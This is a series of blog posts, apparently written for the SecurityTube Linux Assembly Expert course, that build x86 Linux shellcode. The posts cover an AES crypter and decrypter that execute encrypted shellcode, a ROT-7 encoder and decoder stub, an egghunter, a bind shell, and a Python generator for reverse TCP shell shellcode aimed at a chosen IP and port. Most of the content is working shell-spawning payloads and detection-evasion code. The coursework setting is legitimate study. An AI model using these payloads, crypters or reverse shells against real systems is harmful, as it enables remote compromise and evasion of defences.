Posts Tagged shellcode
Assignment 7: Shellcode Crypter
Posted by msstavros645 in Shellcode on February 8, 2015
Create a custom crypter. You may use any encryption schema, and the programming language of your choice.
For this assignment, we will create an AES shellcode crypter. I have chosen to use the EVP family of functions, which are provided by openssl library. These offer a high level interface to the various encryption schemes implemented by openssl, and is better to use it, instead of writing our own implementation of AES. Of course, that means that we are introducing a dependency for those libraries to be present on the system executing the decrypter. This is rather safe to assume, as libcrypto is probably universally present.
We will use AES-256, in counter mode (CTR). The key will be 256bits in size. Instead of manually generating this, we can use a HASH function to generate a hash, for a string of our choice. For example:
The output of the hash function will then become our key used in AES. For the initial vector value (IV) we will use a random 16 byte value, generated again with the help of openssl functions. This will be different every time the encrypter executes, and will need to be fed into the decrypter to properly decrypt our shellcode.
The following listing presents the encrypter program:
// aes shellcode crypter
// compile: gcc encshellcode.c -lcrypto -o encshellcode
//
// INPUT: shellcode
// key
// OUTPUT: IV
// encrypted shellcode
// StudentID: SLAE645
#include <stdio.h>
#include <openssl/evp.h>
#include <openssl/rand.h>
void print_bytes (unsigned char arr[], int size)
{
int i;
for (i = 0; i < size; i++)
{
printf("\\x%02x", arr[i]);
}
printf("\n");
}
int main()
{
EVP_CIPHER_CTX ctx;
// <><><> Input the shellcode to be encrypted
unsigned char shellcode[]=\
"\xeb\x0d\x5e\x31\xc9\xb1\x19\x80\x36\xaa\x46\xe2\xfa\xeb\x05\xe8\xee\xff\xff\xff\x9b\x6a\xfa\xc2\x85\x85\xd9\xc2\xc2\x85\xc8\xc3\xc4\x23\x49\xfa\x23\x48\xf9\x23\x4b\x1a\xa1\x67\x2a";
// <><><> Input the key for encryption
// max length 64 characters (512 bits), we will use 32 (256 bits)
// echo "slae" | sha256sum -->> 825283f16463886dfd671599fb0aa61345e65f5ec8d46d2818ea9e56fe471f37
unsigned char key[EVP_MAX_KEY_LENGTH] = "\x82\x52\x83\xf1\x64\x63\x88\x6d\xfd\x67\x15\x99\xfb\x0a\xa6\x13\x45\xe6\x5f\x5e\xc8\xd4\x6d\x28\x18\xea\x9e\x56\xfe\x47\x1f\x37";
unsigned char iv[EVP_MAX_IV_LENGTH]="";
unsigned char out[sizeof(shellcode)];
unsigned char decout[sizeof(out)];
int declen1, declen2;
int outlen1, outlen2;
RAND_bytes(iv, EVP_MAX_IV_LENGTH);
printf ("[*] IV used for encryption:\n");
print_bytes(iv, sizeof(iv));
printf("\n");
EVP_EncryptInit(&ctx, EVP_aes_256_ctr(), key, iv);
EVP_EncryptUpdate(&ctx, out, &outlen1, shellcode, sizeof(shellcode)-1);
EVP_EncryptFinal(&ctx, out + outlen1, &outlen2);
printf("[*] We have read %d bytes of shellcode, and generated %d bytes of encrypted output\n\n", sizeof(shellcode)-1, outlen1+outlen2);
printf(" --- Encrypted shellcode ---\n");
print_bytes(out, sizeof(out)-1);
printf("\n");
printf(" --- Hex-dump of encrypted shellcode ---\n");
BIO_dump_fp(stdout, out, sizeof(out)-1);
EVP_CIPHER_CTX_cleanup(&ctx);
printf("\n --- Decryption routine (check) ---\n");
EVP_CIPHER_CTX ctx2;
EVP_DecryptInit(&ctx2, EVP_aes_256_ctr(), key, iv);
EVP_DecryptUpdate(&ctx2, decout, &declen1, out, sizeof(out)-1);
EVP_DecryptFinal(&ctx2, decout + declen1, &declen2);
BIO_dump_fp(stdout, decout, sizeof(decout)-1);
EVP_CIPHER_CTX_cleanup(&ctx2);
EVP_cleanup();
CRYPTO_cleanup_all_ex_data();
return 0;
}
We need to provide the shellcode we want to encrypt, and the key. Compile and execute:
The encrypted shellcode is generated, along with the IV that was used for this run. At the bottom, the program perfroms a decryption, just as a check to see what the decrypted code will look like.
If we execute the program again, a different IV is generated and of course a different encrypted shellcode:
We can now write the decrypter program. We will use the IV and encrypted output from the last run of our encrypter. The code is presented below:
// aes shellcode decrypter and execution
// compile: gcc decshellcode.c -lcrypto -fno-stack-protector -zexecstack -o decshellcode
//
// INPUT: encrypted shellcode
// key
// IV
// OUTPUT: shellcode (executed)
// StudentID: SLAE645
#include <stdio.h>
#include <openssl/evp.h>
#include <openssl/rand.h>
void print_bytes (unsigned char arr[], int size)
{
int i;
for (i = 0; i < size; i++)
{
printf("\\x%02x", arr[i]);
}
printf("\n");
}
int main()
{
EVP_CIPHER_CTX ctx2;
// <><><> Input the encrypted shellcode generated from encshellcode executable
unsigned char encshellcode[]=\
"\x2c\xf5\xc7\xd9\x13\x1b\xd4\x3e\x13\x5e\xf9\xc0\xea\x7e\x14\xce\x8a\xc4\xe7\x6e\x6f\x52\x0e\x28\x5b\xe7\x2c\x94\x70\x43\x35\x10\x80\x74\xf8\x33\x1e\x1f\xc7\x74\x0e\xc8\x04\xb4\xeb";
// <><><> Input the key you used during encryption
// max length 64 characters (512 bits), we will use 32 (256 bits)
// echo "slae" | sha256sum -->> 825283f16463886dfd671599fb0aa61345e65f5ec8d46d2818ea9e56fe471f37
unsigned char key[EVP_MAX_KEY_LENGTH] = "\x82\x52\x83\xf1\x64\x63\x88\x6d\xfd\x67\x15\x99\xfb\x0a\xa6\x13\x45\xe6\x5f\x5e\xc8\xd4\x6d\x28\x18\xea\x9e\x56\xfe\x47\x1f\x37";
// <><> <> Input the IV generated during encryption
unsigned char iv[EVP_MAX_IV_LENGTH]="\xc7\x4d\x24\xf7\xf0\x1b\xd0\xb0\xa2\xc2\x6d\x25\x84\x8b\x54\x2f";
unsigned char decout[sizeof(encshellcode)];
int declen1, declen2;
int (*ret)() = (int(*)())decout;
EVP_DecryptInit(&ctx2, EVP_aes_256_ctr(), key, iv);
EVP_DecryptUpdate(&ctx2, decout, &declen1, encshellcode, sizeof(encshellcode)-1);
EVP_DecryptFinal(&ctx2, decout + declen1, &declen2);
printf("[*] We have read %d bytes, and generated %d bytes of decrypted output\n", sizeof(encshellcode)-1, declen1+declen2);
printf("\n --- Decrypted shellcode dump ---\n");
BIO_dump_fp(stdout, decout, sizeof(decout)-1);
EVP_CIPHER_CTX_cleanup(&ctx2);
EVP_cleanup();
CRYPTO_cleanup_all_ex_data();
printf("\n");
print_bytes(decout, sizeof(decout)-1);
printf("Calling decrypted code...\n\n");
ret();
printf("\n\n");
return 0;
}
Compile and run the decrypter:
The shellcode is decrypted and run, a new /bin/sh is launched.
We can examine the libraries that our decrypter uses via the ldd command:
Alternatively, we can load it into gdb, and execute “info sharedlibrary”
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student-ID: SLAE-645
Assignment 4: Custom shellcode encoder
Posted by msstavros645 in Shellcode on February 8, 2015
Create a custom shellcode encoding scheme, and a PoC using execve-stack shellcode to encode with your schema and execute.
For this assignment, I will create a simple rotate substitution cipher to accomplish the encoding of our shellcode. ROT-n substitution is a very simple (and very very weak) encryption algorithm, also known as Caesar Cipher (which shifted letters by 3 in its original form as used by Julius Caesar of Rome). All it does is shift the letters in the alphabet by n-places, wrapping around to the beginning if/when required.
The same principle may be applied to the “alphabet” of shellcode values (opcodes), i.e. 0x00-0xFF. Choosing 7 as the number of places to shift, the following lookup table may be constructed:
In order to write our encoder, we need to create a simple program that reads a user supplied piece of shellcode, performs the shift of each byte by 7, and outputs the encoded shellcode.
Then we need to write an assembly decoder, that will first decode this shellcode in memory, and then pass control to it to execute. The shellcode we will use is a simple execve-stack.
The following code snippet presents the encoder implemented in python. In order to do the wrap to the beginning we may use modulo arithmetic, but I have chosen to implement a different approach using simple addition and subtraction (in the basis that division is costly in terms of CPU cyles).
#!/usr/bin/python
# Python ROT-7 Encoder
shellcode = ("\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")
encoded = ""
encoded2 = ""
print 'Encoded shellcode ...'
for x in bytearray(shellcode) :
# boundary is computed as 255-ROT(x) where x, the amount to rotate by
if x > 248:
encoded += '\\x'
encoded += '%02x' %(7 -(256 - x))
encoded2 += '0x'
encoded2 += '%02x,' %(7 -(256 - x))
else:
encoded += '\\x'
encoded += '%02x'%(x+7)
encoded2 += '0x'
encoded2 += '%02x,' %(x+7)
print encoded
print encoded2
print 'Len: %d' % len(bytearray(shellcode))
Running the encoder (pasting any shellcode that you wish to encode in the shellcode variable) it generates the shifted-by-seven shellcode:
This will be used in our assembly decoder stub. We see that it is also free of NULL bytes (since we do not have any byte with the value “F9” in the original code, this is as expected). For this we will use the standard jmp-call-pop technique, storing our encoded shellcode from the python encoder, in the “Shellcode” variable at the bottom. What we have to do in this part is, instead of advancing forward, subtracting 7 from each byte of the shellcode. The following presents the assembly code:
Compile the program and extract the shellcode:
Again we can see our shellcode is free of NULL bytes. We can paste this into our shellcode.c file, compile and execute it:
#include<stdio.h>
#include<string.h>
unsigned char code[] = "\xeb\x25\x5e\x31\xc9\xb1\x1e\x80\x3e\x07\x7c\x05\x80\x2e\x07\xeb\x11\x31\xdb\x31\xd2\xb3\x07\xb2\xff\x66\x42\x2a\x1e\x66\x29\xda\x88\x16\x46\xe2\xe2\xeb\x05\xe8\xd6\xff\xff\xff\x38\xc7\x57\x6f\x69\x68\x7a\x6f\x6f\x69\x70\x75\x36\x6f\x36\x36\x36\x36\x90\xea\x57\x90\xe9\x5a\x90\xe8\xb7\x12\xd4\x87";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Execution:
Success!
Note: The encoder has been submitted and accepted to the shell-storm database, and you can find it here: http://shell-storm.org/shellcode/files/shellcode-900.php. Kudos to Jonathan Salwan for his time and effort in maintaining this amazing repository of shellcodes, and thank you very much for accepting my code!
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student-ID: SLAE-645
Assignment 3: Egghunter shellcode demo
Posted by msstavros645 in Shellcode on February 8, 2015
The purpose of this assignment is to research the egghunter shellcode and create a working demo.
To learn about egghunters, one of the best resources on the net, is the paper by skape which can be reached online at:
Click to access egghunt-shellcode.pdf
In order to create a working demo we will need to decide which method to use. Skape presents three different possible implementations. The sigaction will be used for my demo, since this results in a smaller egghunter routine.
The egg we will use will be the characters STST (0x53545354)
Reading skape’s excellent document, the following assembly code may be used to create an egghunter utilizing the sigaction system call:
In order to test our shellcode, we can use the familiar shellcode.c file, this time though, we can introduce an arbitrary number of variables containing random data, to fill up some memory space in the running process. For this we can use the pattern_create.rb tool from Metasploit Framework. The command to execute would be pattern_create.db <number_of_bytes>, as can be seen in the following screenshot:
Our program should have the random variables, the egghunter code, some more variables and the shellcode, prepended by the egg value i.e. egg in front of shellcode. Our shellcode program should call the egghunter routine and if all works as planned the shellcode will be executed.
We start by creating the random variables:
Then our egghunter code follows (cut and paste from the compiled binary):
Finally another variable, and the egg with the execve-stack shellcode are defined, followed by the main function (execve-stack shellcode extracted using the same method as for the egghunter):
Compile the file and execute:
Success, a new bash shell is executed!
In order to execute a different shellcode, we can paste it in the shellcode.c file, immediately after the egg value (which should not change) and compile and run the resultant executable.
The following snippet presents the code for our demo (file shellcode.c):
#include<stdio.h>
#include<string.h>
// Egg value we will use is the string "STST" twice. That is 0x53545354 twice.
// First define random variables, to fill up some memory space
unsigned char var1[] = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4"
"Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6"
"Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0"
"Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai"
"3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8"
"Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0"
"An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2"
"Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4"
"Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8"
"At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0"
"Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1"
"Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4"
"Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6"
"Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8"
"Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1"
"Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6";
unsigned char var2[]="AAAABBBBCCCCDDDDEEEEFFFFGGGGKKKK";
// The Egghunter code
unsigned char code[] = "\xfc\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf0\xb8"
"\x54\x53\x54\x53\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7";
// Another variable
unsigned char var3[]="Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4"
"Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7"
"Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0"
"Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh"
"4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0"
"Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em"
"4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5"
"Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7"
"Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1"
"Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4"
"Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex"
"6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9"
"Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3"
"Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8"
"Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4"
"Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3"
"Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8"
"Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3";
// Our shellcode, execve-stack
unsigned char shellcode[] = \
"\x54\x53\x54\x53\x54\x53\x54\x53" // First the EGG value, TWICE and in little endian order!
"\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
main()
{
printf("Egghunter Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student-ID: SLAE-645
Assignment 2: Shell reverse TCP shellcode
Posted by msstavros645 in Shellcode on February 8, 2015
Create a Shell_Reverse_TCP shellcode that (a) reverse connects to an ip and port, and (b) executes a shell on successful connection. IP and port number should be easily configurable.
This shellcode will share some parts from the shellcode presented in the first assignment. What we need to do is:
- Create a socket
- Use the connect() method instead of bind, to connect to another socket listening on a specified ip address and port
- Redirect standard input/output/error to this socket
- Execute an execve to spawn a shell
The socket creation part will be the same as in the first assignment. The code is presented below:
After that, we need to call the connect function in order to make the connection to the listener that waits for the reverse shell connection on the remote end. The man page for connect():
This is similar to the bind() syscal in our first assignment. Let’s say that we want to connect on localhost (127.0.0.1) and port 31453 (0x7add). In order to compute the hex value of 127.0.0.1, we can use the command gethostip with the –x argument, as shown below:
We can see that there are two NULL bytes in this address. We will have to cater for that in our shellcode, which must be free of NULL bytes.
The parameters can be visualized in the next diagram:

The tricky part here is the sockaddr structure. For IPv4, this is expected to be 16 bytes long. The values will be laid out as follows:
- Family (AF_INET): 0x0002
- Port (31453): 0x7add
- IP Address (IPADDR_ANY): 7f 00 00 01
- Zero padding: 00 00 00 00 00 00 00 00
All these must be pushed on the stack in reverse order. There are a lot of NULL bytes in the padding, as well as the address itself. We will need to push 8 NULLs, then the ip address (reverse order) then the port (again reverse order), then the 0x02 value as word (2 bytes).
To get the 8 NULL bytes , we can use two pushes of a full register, zeroed out (i.e. ESI). For the ip address, since we cannot afford to have NULL bytes, we will need to do some arithmetic.
Observe that 0xFFFFFFFF – 0x7F000001 = 0x80FFFFFE, which does not have any NULL bytes. We need to subtract 0x80FFFFFE from 0xFFFFFFFF to get our 127.0.0.1 address. All we are left to do is reverse the order of the number that we got from our subtraction and push that on the stack. This can be done with a bswap instruction. The connect() call can therefore be coded as below:

After that all we have to do is the stdin/stdout/stderr redirection for the socket descriptor from socket() call, and spawn a shell. The only difference from the code in the first assignment is the sockfd descriptor, which now is stored into EDX, and has to be moved into EBX for the dup2() calls. The code is presented below:
Our shellcode is now complete. Compile and check to see if we have any NULL bytes:
Let’s test it. Open a terminal and setup a port listening on 32453, using netcat:
We can execute our shellcode, by running it via strace (this way we will also be able to see all the system calls):
On the terminal where we setup the nc, we get a connection, and we can execute commands (user input shown with red arrows):
Sending a Ctrl-C on this window, terminates nc, and our shellcode running under strace.
So the shellcode is complete. The assignment though asks that the port and ip address should be easily configurable. In order to accomplish that we need to be able to modify the shellcode, depending on whether the user entered an ip address that contains a 0 tuple (i.e. 10.0.1.15) or not. Since this would result in null bytes in the shellcode, we have to resort to the trick presented above (subtract from 0xfffffffff), or if there are no 0 tuples in the ip address, just use it unmodified. Let’s look at the code, as it is presented for the localhost address.
In the red rectangle, we have the two instructions for computing the subtraction 0xFFFFFFFF –0x80FFFFFE which will give us the hex representation of the ip address we want 0x7F000001 (127.0.0.1). In the green rectangle, the instruction for the port we want to connect to (in our case 31453, 0x7add). This is the second part of the shellcode that needs to be easily configurable.
The following pseudo code presents the two choices for the ip address computation, and the pseudo-instructions for each:
Of course, we are working with shellcode, so the mov esi, 0xffffffff should be translated to \xbe\xff\xff\xff\xff.
Likewise for the port number, we need to compute the hex value of the required port, and add it in the shellcode in the form \x66\x68\<port_number>, i.e. \x66\x68\x7a\xdd.
The following python code does all the required computations and shifting and mixing for us. It expects an ip address and a port, and will produce the customized shellcode for us. It will not check for the resulting port number, being free of NULL bytes i.e. if you give it port 80, the resultant shellcode for the port will be \x66\x68\x00\x50.
#!/usr/bin/python
import sys
import re
import binascii
import socket
import struct
start_segment = (
'\\x31\\xc0\\x31\\xdb\\x31\\xc9\\xb0\\x66\\xb3\\x01\\x6a\\x06\\x6a\\x01'+
'\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x89\\xc2\\x31\\xc0\\x31\\xf6\\xb0\\x66'+
'\\x80\\xc3\\x02\\x56\\x56'
)
mov_instr='\\xbe\\xff\\xff\\xff\\xff'
sub_instr='\\x81\\xee'
#\xfe\xff\xff\x80 - this is where the computed value for ip address subtraction should be, reversed
bswap_instr='\\x0f\\xce\\x56'
pushw_instr='\\x66\\x68'
#\x7a\xdd - this is where the port value should be
end_segment = (
'\\x66\\x6a\\x02\\x89\\xe1\\x6a\\x10\\x51\\x52\\x89\\xe1\\xcd\\x80\\x89'+
'\\xd3\\x31\\xc0\\x31\\xc9\\xb1\\x02\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9'+
'\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89'+
'\\xe3\\x50\\x89\\xe2\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80'
)
# Check proper arguments passesd at command line
if len(sys.argv) != 3 or sys.argv[1].find('.')==-1:
print "Reverse tcp connect - Shellcode create script for user supplied"
print "IP address and port."
print "usage: shcreateA2.py [ip_address] [port]"
print ""
sys.exit(1)
ip = sys.argv[1]
port = sys.argv[2]
sep='\\x'
movesi_instr='\\xbe' # will be used if address is zero free
hexip=binascii.hexlify(socket.inet_aton(ip))
# Use a regex to search for an address containing zeros
# \.0 match dot zero
match = re.search(r'\.0', ip)
if match:
print "[*] Supplied ip address contains zero..."
#subtract address from 0xFFFFFFF
s=4294967295 - int(hexip, 16)
print "Subtracting from 0xFFFFFFFF:", hex(s)
#make it a string, store only numbers
k=hex(s)[2:10]
print "String extract:", k
# reverse byte order
revk=binascii.hexlify(struct.pack('<L', int(k,16)))
#insert \x seperators
srevk=sep+revk[0:2]+sep+revk[2:4]+sep+revk[4:6]+sep+revk[6:8]
print " reversed:",revk
# put pieces together
IP_SEGMENT= mov_instr+sub_instr+srevk+bswap_instr
#print "Shellcode segment for this IP is:\n", IP_SEGMENT
else:
#no zeroes in supplied ip address
#reverse byte order
reversedhexip=binascii.hexlify(struct.pack('<L', int(hexip,16)))
#insert \x seperators
srevip=sep+reversedhexip[0:2]+sep+reversedhexip[2:4]+sep+reversedhexip[4:6]+sep+reversedhexip[6:8]
#put pieces together
IP_SEGMENT=movesi_instr+srevip+bswap_instr
#print "Shellcode segment for this IP is:\n", IP_SEGMENT
#Compute shellcode for supplied port number
port_str="{0:0{1}x}".format(int(port),4)
sport_str=sep+port_str[0:2]+sep+port_str[2:4]
PORT_SEGMENT=pushw_instr+sport_str
#print "Port string:", PORT_SEGMENT
#put all pieces together
shellcode=start_segment+IP_SEGMENT+PORT_SEGMENT+end_segment
print "[*] Shellcode length:",len(shellcode)/4
print shellcode
print "-------------------\n"
reversedhexip=binascii.hexlify(struct.pack('<L', int(hexip,16)))
#print "Hex ip address",hexip
#print "Reversed:", reversedhexip
print "IP addres:", ip, " Hex conv.:",hexip, " Reversed Hex:",reversedhexip
print "Port:",port," Hex port:",port_str
The following presents two runs, one with an ip without zeros, and one with zeros. The first run for port 80, contains a NULL byte.

Let’s test it. First we will configure our system with an ip address and setup a netcat listening:
Generate the shellcode using the perl script, paste it into the shellcode.c file, compile and run:
We get a connection on our nc, and can execute commands:
This concludes this assignment. Although we created an automated perl script for generating customized shellcode for any IP/port combination, bare in mind that there are no exhaustive checks against NULL bytes in the shellcode, therefore, it is always up to you to decide whether the resultant shellcode is sufficient.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student-ID: SLAE-645
Assignment 1: Shell bind TCP shellcode
Posted by msstavros645 in Shellcode on January 26, 2015
Create a Shell_Bind_TCP shellcode that (a) binds to a port, and (b) executes a shell on incoming connection. The port number should be easily configurable.
In order to work with sockets, we need first to determine the syscall number to use. A look in /usr/include/i386-linux-gnu/asm/unistd_32.h shows the socketcall syscall is number 102 (0x66).
The man page for socketcall is presented below:
So in order to work with sockets, we need to also look into the different functions (accept, bind etc). We can find the valid socket function parameters in /usr/include/linux/net.h file:
The man page for the socket function:
So, the socket function is defined as:
int socket (int domain, int type, int protocol)
The address family values (domain) can be found in /usr/src/linux-headers-3.13.0-37/include/linux/socket.h

The socket type values can be found in /usr/src/linux-headers-3.13.0-37/include/linux/net.h

The protocol values are defined in /usr/include/linux/in.h
From all the above we deduce that in order to create a TCP socket we need to pass the following parameters to the socket function:
• Domain: AF_INET (2)
• Type: SOCK_STREAM (1)
• Protocol: TCP(6)
Let’s try to translate all that into assembly instructions. The system call is 0x66 which should be stored into EAX. EBX should contain 1, in order to use the socket function (effectively to create the socket). The parameters to the socket function will be pushed on the stack, in the reverse order (remember stack is LIFO) from what they appear in the function’s definition (so protocol, type, domain) and then moving the value of the ESP register to ECX, prior to making the call.
To better visualize the parameters and calling convention we can use a diagram:
If the function is successful in creating a socket, the kernel will give us a file descriptor for it, stored into EAX. The following image presents the code for creating the socket:
After creating the socket, we need to:
• Bind it to a port and ip address
• Make it listen for connections
• Accept a connection and execute the shell
First the bind. The man page tell us the following:

From the above, we can see bind expects 3 parameters. First is the socket file descriptor, then a pointer to the sockaddr structure (containing socket parameters) and then the length of this structure. The length should be 14 bytes for sa_data (port and ip address) 2 for the family, 16 bytes in total. Looking at the ip(7) page (man 7 ip) we can see the definition for the sockaddr structure pointer:

The address to bind will be passed through sin_addr:

Since, we do not know a priori the ip address of the host that the shellcode will run on, we will need to pass the INADDR_ANY value. This can be found again in /usr/include/linux/in.h file:

So the INADDR_ANY is 0. If we try to pass this directly, we will introduce NULL bytes to the shellcode. Therefore we will need to cater for that by pushing a zeroed out register instead of the actual 0x00 value we need. Remember that the sockaddr structure must be 16 bytes long. The following diagram aids in visualizing the various parameters (we will bind on port 31452, 0x7ADC):

The tricky part here is the sockaddr structure. For IPv4, this is expected to be 16 bytes long. The values will be laid out as follows:
• Family (AF_INET): 0x0002
• Port (31452): 0x7adc
• IP Address (IPADDR_ANY): 00 00 00 00
• Zero padding: 00 00 00 00 00 00 00 00
All these must be pushed on the stack in reverse order. There are a lot of NULL bytes in this structure that we need to avoid. We will need to push 12 zeros, then the port, then the 0x02 value as word (2 bytes). To get the zeroes, we can use three pushes of a full register, zeroed out (i.e. ESI). The following instructions accomplish that:

After these, the stack holds all the necessary data for the sockaddr structure, and we can store the value of ESP into ECX, to get ready for setting up the stack one more time, for the parameters to the sys_socketcall syscall. The complete bind() call code is presented below:

Having completed the bind, we then need to enable the socket to listen for connections. This is accomplished via the listen() function.

Just two parameters for this function, the socket file descriptor, and a value for the backlog, say 15. The parameter visualization is presented below.

The code for the listen() then can be written.
Finally, we need to accept connections and execute a /bind/sh upon incoming connection. In order to accomplish that, we will need to call the accept() function for the socket, but we will need to communicate with this shell via the socket. This can be done by redirecting the standard input, output and error descriptors of the spawned shell, to our socket. This is valid and characteristic of Unix operating systems, where everything is a file, or as Linus himself said “everything is a stream of bytes” (see http://yarchive.net/comp/linux/everything_is_file.html)
Let’s look at the accept man page:

It takes the socket file descriptor, and two pointers that will store the details of the peer socket (effectively, the client’s port and ip address when it connects to us). These two pointers should be initialized to 0. Care should be taken here, to the fact, that accept() will return a new socket file descriptor (for the client socket), which we will need to use in the input/output/error redirection latter on.

Here is the parameter diagram:

The code for accept() can now be written:

We are almost done. We need to do the standard input, output and error redirection to our socket and then finish off with the execve-stack code that will be executed upon connection. Remember that the socket file descriptor we will use, is the one from the previous accept() syscall. For the redirection the sys_dup2 syscall will be used.

This is straightforward. We will pass only our socket file descriptor from the accept() call. This value is currently stored in EBX, as shown at the end of the accept() code segment above. Remember that the number representations for the 3 file descriptors are:
• Standard input: 0
• Standard output: 1
• Standard error: 2
